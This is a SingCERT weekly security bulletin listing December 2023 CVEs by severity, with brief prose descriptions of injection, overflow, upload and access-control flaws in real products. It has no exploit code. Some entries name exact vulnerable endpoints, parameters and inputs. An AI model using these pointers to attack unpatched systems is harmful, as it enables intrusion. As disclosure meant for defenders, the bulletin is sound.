SingCERT
Singapore Cyber Emergency Response Team

Security Bulletin 20 December 2023

SingCERT's Security Bulletin summarises the list of vulnerabilities collated from the National Institute of Standards and Technology (NIST)'s National Vulnerability Database (NVD) in the past week.

The vulnerabilities are tabled based on severity, in accordance to their CVSSv3 base scores:

Critical	vulnerabilities with a base score of 9.0 to 10.0
High	vulnerabilities with a base score of 7.0 to 8.9
Medium	vulnerabilities with a base score of 4.0 to 6.9
Low	vulnerabilities with a base score of 0.1 to 3.9
None	vulnerabilities with a base score of 0.0

For those vulnerabilities without assigned CVSS scores, please visit NVD for the updated CVSS vulnerability entries.

CRITICAL VULNERABILITIES

CVE Number	Description	Base Score	Reference
CVE-2023-6723	An unrestricted file upload vulnerability has been identified in Repbox, which allows an attacker to upload malicious files via the transforamationfileupload function, due to the lack of proper file type validation controls, resulting in a full system compromise.	10.0	More Details
CVE-2023-45894	The Remote Application Server in Parallels RAS before 19.2.23975 does not segment virtualized applications from the server, which allows a remote attacker to achieve remote code execution via standard kiosk breakout techniques.	10.0	More Details

CVE Number	Description	Base Score	Reference
CVE-2023-50721	XWiki Platform is a generic wiki platform. Starting in 4.5-rc-1 and prior to versions 14.10.15, 15.5.2, and 15.7-rc-1, the search administration interface doesn't properly escape the id and label of search user interface extensions, allowing the injection of XWiki syntax containing script macros including Groovy macros that allow remote code execution, impacting the confidentiality, integrity and availability of the whole XWiki instance. This attack can be executed by any user who can edit some wiki page like the user's profile (editable by default) as user interface extensions that will be displayed in the search administration can be added on any document by any user. The necessary escaping has been added in XWiki 14.10.15, 15.5.2 and 15.7RC1. As a workaround, the patch can be applied manually applied to the page `XWiki.SearchAdmin`.	9.9	More Details
CVE-2023-50723	XWiki Platform is a generic wiki platform. Starting in 2.3 and prior to versions 14.10.15, 15.5.2, and 15.7-rc-1, anyone who can edit an arbitrary wiki page in an XWiki installation can gain programming right through several cases of missing escaping in the code for displaying sections in the administration interface. This impacts the confidentiality, integrity and availability of the whole XWiki installation. Normally, all users are allowed to edit their own user profile so this should be exploitable by all users of the XWiki instance. This has been fixed in XWiki 14.10.15, 15.5.2 and 15.7RC1. The patches can be manually applied to the `XWiki.ConfigurableClassMacros` and `XWiki.ConfigurableClass` pages.	9.9	More Details
CVE-2023-47577	An issue discovered in Relyum RELY-PCIe 22.2.1 and RELY-REC 23.1.0 allows for unauthorized password changes due to no check for current password.	9.8	More Details
CVE-2023-6906	A vulnerability, which was classified as critical, was found in Totolink A7100RU 7.4cu.2313_B20191024. Affected is the function main of the file /cgi-bin/cstecgi.cgi?action=login of the component HTTP POST Request Handler. The manipulation of the argument flag with the input ie8 leads to buffer overflow. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-248268. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.	9.8	More Details
CVE-2023-46217	An attacker sending specially crafted data packets to the Mobile Device Server can cause memory corruption which could result to a Denial of Service (DoS) or code execution.	9.8	More Details
CVE-2023-46216	An attacker sending specially crafted data packets to the Mobile Device Server can cause memory corruption which could result to a Denial of Service (DoS) or code execution.	9.8	More Details

CVE Number	Description	Base Score	Reference
CVE-2023-41727	An attacker sending specially crafted data packets to the Mobile Device Server can cause memory corruption which could result to a Denial of Service (DoS) or code execution.	9.8	More Details
CVE-2023-6272	The Theme My Login 2FA WordPress plugin before 1.2 does not rate limit 2FA validation attempts, which may allow an attacker to brute-force all possibilities, which shouldn't be too long, as the 2FA codes are 6 digits.	9.8	More Details
CVE-2023-50965	In MicroHttpServer (aka Micro HTTP Server) through 4398570, _ReadStaticFiles in lib/middleware.c allows a stack-based buffer overflow and potentially remote code execution via a long URI.	9.8	More Details
CVE-2023-50976	Redpanda before 23.1.21 and 23.2.x before 23.2.18 has missing authorization checks in the Transactions API.	9.8	More Details
CVE-2023-46221	An attacker sending specially crafted data packets to the Mobile Device Server can cause memory corruption which could result to a Denial of Service (DoS) or code execution.	9.8	More Details
CVE-2021-42796	An issue was discovered in ExecuteCommand() in AVEVA Edge (formerly InduSoft Web Studio) versions R2020 and prior that allows unauthenticated arbitrary commands to be executed.	9.8	More Details
CVE-2020-17485	A Remote Code Execution vulnerability exist in Uffizio's GPS Tracker all versions. The web server can be compromised by uploading and executing a web/reverse shell. An attacker could then run commands, browse system files, and browse local resources	9.8	More Details
CVE-2023-50469	Shenzhen Libituo Technology Co., Ltd LBT-T300-T310 v2.2.2.6 was discovered to contain a buffer overflow via the ApCliEncrypType parameter at /apply.cgi.	9.8	More Details
CVE-2023-50918	app/Controller/AuditLogsController.php in MISP before 2.4.182 mishandles ACLs for audit logs.	9.8	More Details
CVE-2023-46220	An attacker sending specially crafted data packets to the Mobile Device Server can cause memory corruption which could result to a Denial of Service (DoS) or code execution.	9.8	More Details
CVE-2023-46222	An attacker sending specially crafted data packets to the Mobile Device Server can cause memory corruption which could result to a Denial of Service (DoS) or code execution.	9.8	More Details

CVE Number	Description	Base Score	Reference
CVE-2023-6553	The Backup Migration plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1.3.7 via the /includes/backup-heart.php file. This is due to an attacker being able to control the values passed to an include, and subsequently leverage that to achieve remote code execution. This makes it possible for unauthenticated attackers to easily execute code on the server.	9.8	More Details
CVE-2023-46223	An attacker sending specially crafted data packets to the Mobile Device Server can cause memory corruption which could result to a Denial of Service (DoS) or code execution.	9.8	More Details
CVE-2023-46224	An attacker sending specially crafted data packets to the Mobile Device Server can cause memory corruption which could result to a Denial of Service (DoS) or code execution.	9.8	More Details
CVE-2023-46225	An attacker sending specially crafted data packets to the Mobile Device Server can cause memory corruption which could result to a Denial of Service (DoS) or code execution.	9.8	More Details
CVE-2023-46257	An attacker sending specially crafted data packets to the Mobile Device Server can cause memory corruption which could result to a Denial of Service (DoS) or code execution.	9.8	More Details
CVE-2023-46258	An attacker sending specially crafted data packets to the Mobile Device Server can cause memory corruption which could result to a Denial of Service (DoS) or code execution.	9.8	More Details
CVE-2023-46259	An attacker sending specially crafted data packets to the Mobile Device Server can cause memory corruption which could result to a Denial of Service (DoS) or code execution.	9.8	More Details
CVE-2023-46260	An attacker sending specially crafted data packets to the Mobile Device Server can cause memory corruption which could result to a Denial of Service (DoS) or code execution.	9.8	More Details
CVE-2023-46261	An attacker sending specially crafted data packets to the Mobile Device Server can cause memory corruption which could result to a Denial of Service (DoS) or code execution.	9.8	More Details
CVE-2023-46263	An unrestricted upload of file with dangerous type vulnerability exists in Avalanche versions 6.4.1 and below that could allow an attacker to achieve a remote code execution.	9.8	More Details
CVE-2023-46264	An unrestricted upload of file with dangerous type vulnerability exists in Avalanche versions 6.4.1 and below that could allow an attacker to achieve a remove code execution.	9.8	More Details

CVE Number	Description	Base Score	Reference
CVE-2023-46265	An unauthenticated could abuse a XXE vulnerability in the Smart Device Server to leak data or perform a Server-Side Request Forgery (SSRF).	9.8	More Details
CVE-2023-47267	An issue discovered in TheGreenBow Windows Enterprise Certified VPN Client 6.52, Windows Standard VPN Client 6.87, and Windows Enterprise VPN Client 6.87 allows attackers to gain escalated privileges via crafted changes to memory mapped file.	9.8	More Details
CVE-2023-49004	An issue in D-Link DIR-850L v.B1_FW223WWb01 allows a remote attacker to execute arbitrary code via a crafted script to the en parameter.	9.8	More Details
CVE-2023-6928	EuroTel ETL3100 versions v01c01 and v01x37 does not limit the number of attempts to guess administrative credentials in remote password attacks to gain full control of the system.	9.8	More Details
CVE-2023-50917	MajorDoMo (aka Major Domestic Module) before 0662e5e allows command execution via thumb.php shell metacharacters. NOTE: this is unrelated to the Majordomo mailing-list manager.	9.8	More Details
CVE-2023-50089	A Command Injection vulnerability exists in NETGEAR WNR2000v4 version 1.0.0.70. When using HTTP for SOAP authentication, command execution occurs during the process after successful authentication.	9.8	More Details
CVE-2023-48392	Kaifa Technology WebITR is an online attendance system, it has a vulnerability in using hard-coded encryption key. An unauthenticated remote attacker can generate valid token parameter and exploit this vulnerability to access system with arbitrary user account, including administrator’s account, to execute login account’s permissions, and obtain relevant information.	9.8	More Details
CVE-2023-48049	A SQL injection vulnerability in Cybrosys Techno Solutions Website Blog Search (aka website_search_blog) v. 13.0 through 13.0.1.0.1 allows a remote attacker to execute arbitrary code and to gain privileges via the name parameter in controllers/main.py component.	9.8	More Details
CVE-2023-50073	EmpireCMS v7.5 was discovered to contain a SQL injection vulnerability via the ftppassword parameter at SetEnews.php.	9.8	More Details
CVE-2023-46141	Incorrect Permission Assignment for Critical Resource vulnerability in multiple products of the PHOENIX CONTACT classic line allow an remote unauthenticated attacker to gain full access of the affected device.	9.8	More Details

CVE Number	Description	Base Score	Reference
CVE-2023-0757	Incorrect Permission Assignment for Critical Resource vulnerability in PHOENIX CONTACT MULTIPROG, PHOENIX CONTACT ProConOS eCLR (SDK) allows an unauthenticated remote attacker to upload arbitrary malicious code and gain full access on the affected device.	9.8	More Details
CVE-2023-49708	SQLi vulnerability in Starshop component for Joomla.	9.8	More Details
CVE-2023-49707	SQLi vulnerability in S5 Register module for Joomla.	9.8	More Details
CVE-2023-48925	SQL injection vulnerability in Buy Addons bavideotab before version 1.0.6, allows attackers to escalate privileges and obtain sensitive information via the component BaVideoTabSaveVideoModuleFrontController::run().	9.8	More Details
CVE-2023-46348	SQL njection vulnerability in SunnyToo sturls before version 1.1.13, allows attackers to escalate privileges and obtain sensitive information via StUrls::hookActionDispatcher and StUrls::getInstanceId methods.	9.8	More Details
CVE-2023-40630	Unauthenticated LFI/SSRF in JCDashboards component for Joomla.	9.8	More Details
CVE-2023-40629	SQLi vulnerability in LMS Lite component for Joomla.	9.8	More Details
CVE-2023-48085	Nagios XI before version 5.11.3 was discovered to contain a remote code execution (RCE) vulnerability via the component command_test.php.	9.8	More Details
CVE-2023-48084	Nagios XI before version 5.11.3 was discovered to contain a SQL injection vulnerability via the bulk modification tool.	9.8	More Details
CVE-2023-44709	PlutoSVG commit 336c02997277a1888e6ccbbbe674551a0582e5c4 and before was discovered to contain an integer overflow via the component plutosvg_load_from_memory.	9.8	More Details
CVE-2023-49937	An issue was discovered in SchedMD Slurm 22.05.x, 23.02.x, and 23.11.x. Because of a double free, attackers can cause a denial of service or possibly execute arbitrary code. The fixed versions are 22.05.11, 23.02.7, and 23.11.1.	9.8	More Details

CVE Number	Description	Base Score	Reference
CVE-2023-49934	An issue was discovered in SchedMD Slurm 23.11.x. There is SQL Injection against the SlurmDBD database. The fixed version is 23.11.1.	9.8	More Details
CVE-2023-40921	SQL Injection vulnerability in functions/point_list.php in Common Services soliberte before v4.3.03 allows attackers to obtain sensitive information via the lat and lng parameters.	9.8	More Details
CVE-2023-49363	Rockoa <2.3.3 is vulnerable to SQL Injection. The problem exists in the indexAction method in reimpAction.php.	9.8	More Details
CVE-2023-42495	Dasan Networks - W-Web versions 1.22-1.27 - CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')	9.8	More Details
CVE-2023-47261	Dokmee ECM 7.4.6 allows remote code execution because the response to a GettingStarted/SaveSQLConnectionAsync /#/gettingstarted request contains a connection string for privileged SQL Server database access, and xp_cmdshell can be enabled.	9.8	More Details
CVE-2023-50563	Semcms v4.8 was discovered to contain a SQL injection vulnerability via the AID parameter at SEMCMS_Function.php.	9.8	More Details
CVE-2023-48388	Multisuns EasyLog web+ has a vulnerability of using hard-coded credentials. An remote attacker can exploit this vulnerability to access the system to perform arbitrary system operations or disrupt service.	9.8	More Details
CVE-2023-40954	A SQL injection vulnerability in Grzegorz Marczynski Dynamic Progress Bar (aka web_progress) v. 11.0 through 11.0.2, v12.0 through v12.0.2, v.13.0 through v13.0.2, v.14.0 through v14.0.2.1, v.15.0 through v15.0.2, and v16.0 through v16.0.2.1 allows a remote attacker to gain privileges via the recency parameter in models/web_progress.py component.	9.8	More Details
CVE-2023-48050	SQL injection vulnerability in Cams Biometrics Zkteco, eSSL, Cams Biometrics Integration Module with HR Attendance (aka odoo-biometric-attendance) v. 13.0 through 16.0.1 allows a remote attacker to execute arbitrary code and to gain privileges via the db parameter in the controllers/controllers.py component.	9.8	More Details
CVE-2023-48371	ITPison OMICARD EDM's file uploading function does not restrict upload of file with dangerous type. An unauthenticated remote attacker can exploit this vulnerability to upload and run arbitrary executable files to perform arbitrary system commands or disrupt service.	9.8	More Details

CVE Number	Description	Base Score	Reference
CVE-2023-48372	ITPison OMICARD EDM 's SMS-related function has insufficient validation for user input. An unauthenticated remote attacker can exploit this vulnerability to inject arbitrary SQL commands to access, modify and delete database.	9.8	More Details
CVE-2023-48376	SmartStar Software CWS is a web-based integration platform, its file uploading function does not restrict upload of file with dangerous type. An unauthenticated remote attacker can exploit this vulnerability to upload arbitrary files to perform arbitrary command or disrupt service.	9.8	More Details
CVE-2023-29234	A deserialization vulnerability existed when decode a malicious package.This issue affects Apache Dubbo: from 3.1.0 through 3.1.10, from 3.2.0 through 3.2.4. Users are recommended to upgrade to the latest version, which fixes the issue.	9.8	More Details
CVE-2023-48390	Multisuns EasyLog web+ has a code injection vulnerability. An unauthenticated remote attacker can exploit this vulnerability to inject code and access the system to perform arbitrary system operations or disrupt service.	9.8	More Details
CVE-2023-46279	Deserialization of Untrusted Data vulnerability in Apache Dubbo.This issue only affects Apache Dubbo 3.1.5. Users are recommended to upgrade to the latest version, which fixes the issue.	9.8	More Details
CVE-2023-48384	ArmorX Global Technology Corporation ArmorX Spam has insufficient validation for user input within a special function. An unauthenticated remote attacker can exploit this vulnerability to inject arbitrary SQL commands to access, modify and delete database.	9.8	More Details
CVE-2023-50722	XWiki Platform is a generic wiki platform. Starting in 2.3 and prior to versions 14.10.15, 15.5.2, and 15.7-rc-1, there is a reflected XSS or also direct remote code execution vulnerability in the code for displaying configurable admin sections. The code that can be passed through a URL parameter is only executed when the user who is visiting the crafted URL has edit right on at least one configuration section. While any user of the wiki could easily create such a section, this vulnerability doesn't require the attacker to have an account or any access on the wiki. It is sufficient to trick any admin user of the XWiki installation to visit the crafted URL. This vulnerability allows full remote code execution with programming rights and thus impacts the confidentiality, integrity and availability of the whole XWiki installation. This has been fixed in XWiki 14.10.15, 15.5.2 and 15.7RC1. The patch can be manually applied to the document `XWiki.ConfigurableClass`.	9.6	More Details

CVE Number	Description	Base Score	Reference
CVE-2023-31546	Cross Site Scripting (XSS) vulnerability in DedeBIZ v6.0.3 allows attackers to run arbitrary code via the search feature.	9.6	More Details
CVE-2023-32725	The website configured in the URL widget will receive a session cookie when testing or executing scheduled reports. The received session cookie can then be used to access the frontend as the particular user.	9.6	More Details
CVE-2023-6718	An authentication bypass vulnerability has been found in Repox, which allows a remote user to send a specially crafted POST request, due to the lack of any authentication method, resulting in the alteration or creation of users.	9.4	More Details
CVE-2023-6930	EuroTel ETL3100 versions v01c01 and v01x37 suffer from an unauthenticated configuration and log download vulnerability. This enables the attacker to disclose sensitive information and assist in authentication bypass, privilege escalation, and full system access.	9.4	More Details
CVE-2023-48738	Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Porto Theme Porto Theme - Functionality.This issue affects Porto Theme - Functionality: from n/a before 2.12.1.	9.3	More Details
CVE-2023-49750	Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Spoonthemes Couponis - Affiliate & Submitting Coupons WordPress Theme.This issue affects Couponis - Affiliate & Submitting Coupons WordPress Theme: from n/a before 2.2.	9.3	More Details
CVE-2023-46116	Tutanota (Tuta Mail) is an encrypted email provider. Tutanota allows users to open links in emails in external applications. Prior to version 3.118.12, it correctly blocks the `file:` URL scheme, which can be used by malicious actors to gain code execution on a victims computer, however fails to check other harmful schemes such as `ftp:`, `smb:`, etc. which can also be used. Successful exploitation of this vulnerability will enable an attacker to gain code execution on a victim's computer. Version 3.118.2 contains a patch for this issue.	9.3	More Details
CVE-2023-6483	The vulnerability exists in ADiTaaS (Allied Digital Integrated Tool-as-a-Service) version 5.1 due to an improper authentication vulnerability in the ADiTaaS backend API. An unauthenticated remote attacker could exploit this vulnerability by sending specially crafted HTTP requests to the vulnerable platform. Successful exploitation of this vulnerability could allow the attacker to gain full access to the customers' data and completely compromise the targeted platform.	9.1	More Details

CVE Number	Description	Base Score	Reference
CVE-2023-33218	The Parameter Zone Read and Parameter Zone Write command handlers allow performing a Stack buffer overflow. This could potentially lead to a Remote Code execution on the targeted device.	9.1	More Details
CVE-2023-46266	An attacker can send a specially crafted request which could lead to leakage of sensitive data or potentially a resource-based DoS attack.	9.1	More Details
CVE-2023-33220	During the retrofit validation process, the firmware doesn't properly check the boundaries while copying some attributes to check. This allows a stack-based buffer overflow that could lead to a potential Remote Code Execution on the targeted device	9.1	More Details
CVE-2023-33219	The handler of the retrofit validation command doesn't properly check the boundaries when performing certain validation operations. This allows a stack-based buffer overflow that could lead to a potential Remote Code Execution on the targeted device	9.1	More Details
CVE-2021-22962	An attacker can send a specially crafted request which could lead to leakage of sensitive data or potentially a resource-based DoS attack.	9.1	More Details
CVE-2023-4020	An unvalidated input in a library function responsible for communicating between secure and non-secure memory in Silicon Labs TrustZone implementation allows reading/writing of memory in the secure region of memory from the non-secure region of memory.	9.0	More Details

OTHER VULNERABILITIES

CVE Number	Description	Base Score	Reference
CVE-2023-6753	Path Traversal in GitHub repository mlflow/mlflow prior to 2.9.2.	8.8	More Details
CVE-2023-6873	Memory safety bugs present in Firefox 120. Some of these bugs showed evidence of memory corruption and we presume that with enough effort some of these could have been exploited to run arbitrary code. This vulnerability affects Firefox < 121.	8.8	More Details
CVE-2023-50766	A cross-site request forgery (CSRF) vulnerability in Jenkins Nexus Platform Plugin 3.18.0-03 and earlier allows attackers to send an HTTP request to an attacker-specified URL and parse the response as XML.	8.8	More Details

CVE Number	Description	Base Score	Reference
CVE-2023-4311	The Vrm 360 3D Model Viewer WordPress plugin through 1.2.1 is vulnerable to arbitrary file upload due to insufficient checks in a plugin shortcode.	8.8	More Details
CVE-2023-5882	The Export any WordPress data to XML/CSV WordPress plugin before 1.4.0, WP All Export Pro WordPress plugin before 1.8.6 does not check nonce tokens early enough in the request lifecycle, allowing attackers to make logged in users perform unwanted actions leading to remote code execution.	8.8	More Details
CVE-2023-5886	The Export any WordPress data to XML/CSV WordPress plugin before 1.4.0, WP All Export Pro WordPress plugin before 1.8.6 does not check nonce tokens early enough in the request lifecycle, allowing attackers with the ability to upload files to make logged in users perform unwanted actions leading to PHAR deserialization, which may lead to remote code execution.	8.8	More Details
CVE-2023-47326	Silverpeas Core 6.3.1 is vulnerable to Cross Site Request Forgery (CSRF) via the Domain SQL Create function.	8.8	More Details
CVE-2023-47322	The "userModify" feature of Silverpeas Core 6.3.1 is vulnerable to Cross Site Request Forgery (CSRF) leading to privilege escalation. If an administrator goes to a malicious URL while being authenticated to the Silverpeas application, the CSRF with execute making the attacker an administrator user in the application.	8.8	More Details
CVE-2023-6940	with only one user interaction(download a malicious config), attackers can gain full command execution on the victim system.	8.8	More Details
CVE-2023-6730	Deserialization of Untrusted Data in GitHub repository huggingface/transformers prior to 4.36.	8.8	More Details
CVE-2023-6856	The WebGL `DrawElementsInstanced` method was susceptible to a heap buffer overflow when used on systems with the Mesa VM driver. This issue could allow an attacker to perform remote code execution and sandbox escape. This vulnerability affects Firefox ESR < 115.6, Thunderbird < 115.6, and Firefox < 121.	8.8	More Details
CVE-2023-6858	Firefox was susceptible to a heap buffer overflow in `nsTextFragment` due to insufficient OOM handling. This vulnerability affects Firefox ESR < 115.6, Thunderbird < 115.6, and Firefox < 121.	8.8	More Details

CVE Number	Description	Base Score	Reference
CVE-2023-6859	A use-after-free condition affected TLS socket creation when under memory pressure. This vulnerability affects Firefox ESR < 115.6, Thunderbird < 115.6, and Firefox < 121.	8.8	More Details
CVE-2023-6861	The `nsWindow::PickerOpen(void)` method was susceptible to a heap buffer overflow when running in headless mode. This vulnerability affects Firefox ESR < 115.6, Thunderbird < 115.6, and Firefox < 121.	8.8	More Details
CVE-2023-6862	A use-after-free was identified in the `nsDNSService::Init`. This issue appears to manifest rarely during start-up. This vulnerability affects Firefox ESR < 115.6 and Thunderbird < 115.6.	8.8	More Details
CVE-2023-6863	The `ShutdownObserver()` was susceptible to potentially undefined behavior due to its reliance on a dynamic type that lacked a virtual destructor. This vulnerability affects Firefox ESR < 115.6, Thunderbird < 115.6, and Firefox < 121.	8.8	More Details
CVE-2023-6864	Memory safety bugs present in Firefox 120, Firefox ESR 115.5, and Thunderbird 115.5. Some of these bugs showed evidence of memory corruption and we presume that with enough effort some of these could have been exploited to run arbitrary code. This vulnerability affects Firefox ESR < 115.6, Thunderbird < 115.6, and Firefox < 121.	8.8	More Details
CVE-2023-50768	A cross-site request forgery (CSRF) vulnerability in Jenkins Nexus Platform Plugin 3.18.0-03 and earlier allows attackers to connect to an attacker-specified HTTP server using attacker-specified credentials IDs obtained through another method, capturing credentials stored in Jenkins.	8.8	More Details
CVE-2023-50778	A cross-site request forgery (CSRF) vulnerability in Jenkins PaaSLane Estimate Plugin 1.0.4 and earlier allows attackers to connect to an attacker-specified URL using an attacker-specified token.	8.8	More Details
CVE-2023-48394	Kaifa Technology WebITR is an online attendance system, its file uploading function does not restrict upload of file with dangerous type. A remote attacker with regular user privilege can exploit this vulnerability to upload arbitrary files to perform arbitrary command or disrupt service.	8.8	More Details
CVE-2023-6702	Type confusion in V8 in Google Chrome prior to 120.0.6099.109 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page. (Chromium security severity: High)	8.8	More Details
CVE-2023-46142	A incorrect permission assignment for critical resource vulnerability in PLCnext products allows an remote attacker with low privileges to gain full access on the affected devices.	8.8	More Details

CVE Number	Description	Base Score	Reference
CVE-2023-50564	An arbitrary file upload vulnerability in the component /inc/modules_install.php of Pluck-CMS v4.7.18 allows attackers to execute arbitrary code via uploading a crafted ZIP file.	8.8	More Details
CVE-2023-44286	Dell PowerProtect DD , versions prior to 7.13.0.10, LTS 7.7.5.25, LTS 7.10.1.15, 6.2.1.110 contain a DOM-based Cross-Site Scripting vulnerability. A remote unauthenticated attacker could potentially exploit this vulnerability, leading to the injection of malicious HTML or JavaScript code to a victim user's DOM environment in the browser. . Exploitation may lead to information disclosure, session theft, or client-side request forgery.	8.8	More Details
CVE-2023-42799	Moonlight-common-c contains the core GameStream client code shared between Moonlight clients. Moonlight-common-c is vulnerable to buffer overflow starting in commit 50c0a51b10ecc5b3415ea78c21d96d679e2288f9 due to unmitigated usage of unsafe C functions and improper bounds checking. A malicious game streaming server could exploit a buffer overflow vulnerability to crash a moonlight client, or achieve remote code execution (RCE) on the client (with insufficient exploit mitigations or if mitigations can be bypassed). The bug was addressed in commit 02b7742f4d19631024bd766bd2bb76715780004e.	8.8	More Details
CVE-2023-42800	Moonlight-common-c contains the core GameStream client code shared between Moonlight clients. Moonlight-common-c is vulnerable to buffer overflow starting in commit 50c0a51b10ecc5b3415ea78c21d96d679e2288f9 due to unmitigated usage of unsafe C functions and improper bounds checking. A malicious game streaming server could exploit a buffer overflow vulnerability to crash a moonlight client, or achieve remote code execution (RCE) on the client (with insufficient exploit mitigations or if mitigations can be bypassed). The bug was addressed in commit 24750d4b748fefa03d09fcfd6d45056faca354e0.	8.8	More Details
CVE-2023-50017	Dreamer CMS v4.1.3 was discovered to contain a Cross-Site Request Forgery (CSRF) via the component /admin/database/backup	8.8	More Details
CVE-2023-6703	Use after free in Blink in Google Chrome prior to 120.0.6099.109 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page. (Chromium security severity: High)	8.8	More Details

CVE Number	Description	Base Score	Reference
CVE-2023-48387	TAIWAN-CA(TWCA) JCICSecurityTool fails to check the source website and access locations when executing multiple Registry-related functions. In the scenario where a user is using the JCICSecurityTool and has completed identity verification, if the user browses a malicious webpage created by an attacker, the attacker can exploit this vulnerability to read or modify any registry file under HKEY_CURRENT_USER, thereby achieving remote code execution.	8.8	More Details
CVE-2023-6704	Use after free in libavif in Google Chrome prior to 120.0.6099.109 allowed a remote attacker to potentially exploit heap corruption via a crafted image file. (Chromium security severity: High)	8.8	More Details
CVE-2023-6705	Use after free in WebRTC in Google Chrome prior to 120.0.6099.109 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page. (Chromium security severity: High)	8.8	More Details
CVE-2023-6706	Use after free in FedCM in Google Chrome prior to 120.0.6099.109 allowed a remote attacker who convinced a user to engage in specific UI interaction to potentially exploit heap corruption via a crafted HTML page. (Chromium security severity: High)	8.8	More Details
CVE-2023-6707	Use after free in CSS in Google Chrome prior to 120.0.6099.109 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page. (Chromium security severity: Medium)	8.8	More Details
CVE-2023-6790	A DOM-Based cross-site scripting (XSS) vulnerability in Palo Alto Networks PAN-OS software enables a remote attacker to execute a JavaScript payload in the context of an administrator’s browser when they view a specifically crafted link to the PAN-OS web interface.	8.8	More Details
CVE-2023-48375	SmartStar Software CWS is a web-based integration platform, it has a vulnerability of missing authorization and users are able to access data or perform actions that they should not be allowed to perform via commands. An authenticated with normal user privilege can execute administrator privilege, resulting in performing arbitrary system operations or disrupting service.	8.8	More Details
CVE-2023-6866	TypedArrays can be fallible and lacked proper exception handling. This could lead to abuse in other APIs which expect TypedArrays to always succeed. This vulnerability affects Firefox < 121.	8.8	More Details

CVE Number	Description	Base Score	Reference
CVE-2023-49935	An issue was discovered in SchedMD Slurm 23.02.x and 23.11.x. There is Incorrect Access Control because of a slurmd Message Integrity Bypass. An attacker can reuse root-level authentication tokens during interaction with the slurmd process. This bypasses the RPC message hashes that protect against undesired MUNGE credential reuse. The fixed versions are 23.02.7 and 23.11.1.	8.8	More Details
CVE-2023-48791	An improper neutralization of special elements used in a command ('Command Injection') vulnerability [CWE-77] in FortiPortal version 7.2.0, version 7.0.6 and below may allow a remote authenticated attacker with at least R/W permission to execute unauthorized commands via specifically crafted arguments in the Schedule System Backup page field.	8.8	More Details
CVE-2023-31210	Usage of user controlled LD_LIBRARY_PATH in agent in Checkmk 2.2.0p10 up to 2.2.0p16 allows malicious Checkmk site user to escalate rights via injection of malicious libraries	8.8	More Details
CVE-2023-47573	An issue discovered in Relyum RELY-PCIe 22.2.1 devices. The authorization mechanism is not enforced in the web interface, allowing a low-privileged user to execute administrative functions.	8.8	More Details
CVE-2023-50466	An authenticated command injection vulnerability in Weintek cMT2078X easyweb Web Version v2.1.3, OS v20220215 allows attackers to execute arbitrary code or access sensitive information via injecting a crafted payload into the HMI Name parameter.	8.8	More Details
CVE-2023-48782	A improper neutralization of special elements used in an os command ('os command injection') in Fortinet FortiWLM version 8.6.0 through 8.6.5 allows attacker to execute unauthorized code or commands via specifically crafted http get request parameters	8.8	More Details
CVE-2023-47578	Relyum RELY-PCIe 22.2.1 and RELY-REC 23.1.0 devices are susceptible to Cross Site Request Forgery (CSRF) attacks due to the absence of CSRF protection in the web interface.	8.8	More Details
CVE-2023-41678	A double free in Fortinet FortiOS versions 7.0.0 through 7.0.5, FortiPAM version 1.0.0 through 1.0.3, 1.1.0 through 1.1.1 allows attacker to execute unauthorized code or commands via specifically crafted request.	8.8	More Details
CVE-2023-47576	An issue was discovered in Relyum RELY-PCIe 22.2.1 and RELY-REC 23.1.0 devices, allowing authenticated command injection through the web interface.	8.8	More Details

CVE Number	Description	Base Score	Reference
CVE-2023-44252	** UNSUPPORTED WHEN ASSIGNED **An improper authentication vulnerability [CWE-287] in Fortinet FortiWAN version 5.2.0 through 5.2.1 and version 5.1.1 through 5.1.2 may allow an authenticated attacker to escalate his privileges via HTTP or HTTPs requests with crafted JWT token values.	8.8	More Details
CVE-2023-46727	GLPI is a free asset and IT management software package. Starting in version 10.0.0 and prior to version 10.0.11, GLPI inventory endpoint can be used to drive a SQL injection attack. Version 10.0.11 contains a patch for the issue. As a workaround, disable native inventory.	8.6	More Details
CVE-2023-50269	Squid is a caching proxy for the Web. Due to an Uncontrolled Recursion bug in versions 2.6 through 2.7.STABLE9, versions 3.1 through 5.9, and versions 6.0.1 through 6.5, Squid may be vulnerable to a Denial of Service attack against HTTP Request parsing. This problem allows a remote client to perform Denial of Service attack by sending a large X-Forwarded-For header when the follow_x_forwarded_for feature is configured. This bug is fixed by Squid version 6.6. In addition, patches addressing this problem for the stable releases can be found in Squid's patch archives.	8.6	More Details
CVE-2023-33331	Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in WooCommerce Product Vendors allows SQL Injection.This issue affects Product Vendors: from n/a through 2.1.76.	8.5	More Details
CVE-2023-6837	Multiple WSO2 products have been identified as vulnerable to perform user impersonatoin using JIT provisioning. In order for this vulnerability to have any impact on your deployment, following conditions must be met: * An IDP configured for federated authentication and JIT provisioning enabled with the "Prompt for username, password and consent" option. * A service provider that uses the above IDP for federated authentication and has the "Assert identity using mapped local subject identifier" flag enabled. Attacker should have: * A fresh valid user account in the federated IDP that has not been used earlier. * Knowledge of the username of a valid user in the local IDP. When all preconditions are met, a malicious actor could use JIT provisioning flow to perform user impersonation.	8.5	More Details
CVE-2023-45174	IBM AIX 7.2, 7.3, and VIOS 3.1 could allow a privileged local user to exploit a vulnerability in the qdaemon command to escalate privileges or cause a denial of service. IBM X-Force ID: 267972.	8.4	More Details
CVE-2023-45170	IBM AIX 7.2, 7.3, and VIOS 3.1 could allow a non-privileged local user to exploit a vulnerability in the piobe command to escalate privileges or cause a denial of service. IBM X-Force ID: 267968.	8.4	More Details

CVE Number	Description	Base Score	Reference
CVE-2023-45166	IBM AIX 7.2, 7.3, and VIOS 3.1 could allow a non-privileged local user to exploit a vulnerability in the piodmgrsu command to obtain elevated privileges. IBM X-Force ID: 267964.	8.4	More Details
CVE-2023-25643	There is a command injection vulnerability in some ZTE mobile internet products. Due to insufficient input validation of multiple network parameters, an authenticated attacker could use the vulnerability to execute arbitrary commands.	8.4	More Details
